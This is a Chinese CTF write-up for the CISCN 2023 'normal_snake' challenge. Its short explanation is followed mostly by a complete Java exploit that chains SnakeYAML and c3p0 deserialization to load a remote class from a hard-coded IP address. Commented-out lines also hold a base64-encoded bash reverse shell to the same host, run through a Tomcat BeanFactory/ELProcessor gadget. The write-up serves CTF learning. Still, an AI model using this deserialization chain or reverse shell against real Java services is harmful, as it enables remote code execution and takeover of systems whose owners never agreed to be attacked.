0%

[CISCN 2023 华北]normal_snake Aiwin的WriteUp

2024-01-02 13:10By
Aiwin
Java反序列化Java

Problem: [CISCN 2023 华北]normal_snake

[[toc]]

snakeyaml打c3p0,开始可能卡了,以为不出网,打了下tomcat的getObjectInstance(),发现本地也会一直报错,后面再试试是出网的,可以通过sankeyaml触发setUpPropertyListeners进而触发parseUserOverridesAsString进行二次反序列化触发ReferenceableUtils.referenceToObject来动态类加载。

package com.app; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import org.yaml.snakeyaml.Yaml; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class normal_snake { public static class C3P0 implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { return new Reference("exploit","evil","http://120.79.29.170:9999/"); // ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); // resourceRef.add(new StringRefAddr("forceString", "x=eval")); // resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\"')")); // return resourceRef; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { C3P0 c3P0=new C3P0(); PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource"); connectionPoolDataSource.setAccessible(true); connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0); String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase)); String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}"; System.out.println(poc); // Yaml yaml=new Yaml(); // yaml.load(poc); // byte[] result=serialize(poolBackedDataSourceBase); // unserialize(result); } public static byte[] serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(object); outputStream.close(); return byteArrayOutputStream.toByteArray(); } public static void unserialize(byte[] s) throws IOException, ClassNotFoundException { ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } public static String byteArrayToHexString(byte[] byteArray) { StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02X", b)); } return sb.toString(); } }
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论